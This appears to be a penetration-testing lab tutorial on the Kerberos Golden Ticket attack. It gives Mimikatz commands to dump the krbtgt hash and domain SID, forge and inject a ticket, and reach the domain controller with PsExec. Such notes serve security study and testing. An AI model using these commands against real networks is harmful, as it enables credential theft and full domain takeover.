Golden Ticket

Golden Ticket

If we can get our hands on the krbtgt password hash, we could create our self-made custom TGTs, also known as golden tickets.

Golden Tickets permit us to access the entire domain's resources.

Silver Tickets aim to forge a TGS ticket to access a specific service.

The best advantage is that the krbtgt account password is not automatically changed.

Step 1: Attempt to Access the Domain Controller (DC)

# Make sure you have uploaded PSTool in the victim machine.
# To test run the below command:
 .\PsExec64.exe \\DC1 cmd.exe
# Does it fail?

Step 2: Extract the krbtgt Hash Using Mimikatz

If the process fails, you may not have permission to access the DC. Therefore, to gain access, we will first extract the hash using Mimikatz.

Remember that running Mimikatz requires administrative privileges. 🔐👨‍💻 ☺️

Using a higher privilege account, we will attempt to extract the password of the krbtgt account. We will obtain the NTLM hash of the krbtgt account, along with the domain SID, to forge and inject a golden ticket.

# Make sure you have mimikatz uploaded :)
.\mimikatz.exe "privilege::debug" "log" "lsadump::lsa /patch" "exit"
# Make a note of NTLM and SID.
# Example:
# Domain SID: S-1-5-21-1987370270-658905905-1781884369 (See top of output)
# krbtgt hash: 1693c6cefafffc7af11ef34d1c788f47

The lsadump module in Mimikatz is used to extract sensitive information from the Local Security Authority (LSA) subsystem on Windows systems.

/patch: Enables reading LSA secrets by bypassing certain protections.

Step 3: Forge and Inject the Golden Ticket

Move to the Account for which you want to create a golden ticket.

Clear the already existing tickets. We can clear any existing Kerberos tickets using kerberos::purge in mimikatz

 .\mimikatz.exe "kerberos::purge" "exit"

Now we will make Golden Ticker and then run cmd.

.\mimikatz.exe "privilege::debug" "log" "kerberos::golden /user:<target-user> /domain:<domain-name> /sid:<domain-SID> /krbtgt:<krbtgt-hash> /ptt" "exit"

.\mimikatz.exe "privilege::debug" "log" "misc::cmd" 

# Example:
# .\mimikatz.exe "privilege::debug" "log" "kerberos::golden /user:jen /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:1693c6cefafffc7af11ef34d1c788f47 /ptt" "misc::cmd" "exit"

Step 4: Verify Access to the Domain Controller

I will attempt to access it again. Please run the command below in a new terminal which is launched in the previous command:

PsExec.exe \\dc1 cmd.exe

Verify the group.

# Verifying.
whoami /groups # Listing will show that the current user is a member of the domain controller.

# Check ip address
ipconfig 
# It should show ip of DC. 

Note: If we were to connect PsExec to the IP address of the domain controller instead of the hostname, we would instead force the use of NTLM authentication and access would still be blocked.

Don't use it like this:

psexec.exe \\192.168.x.70 cmd.exe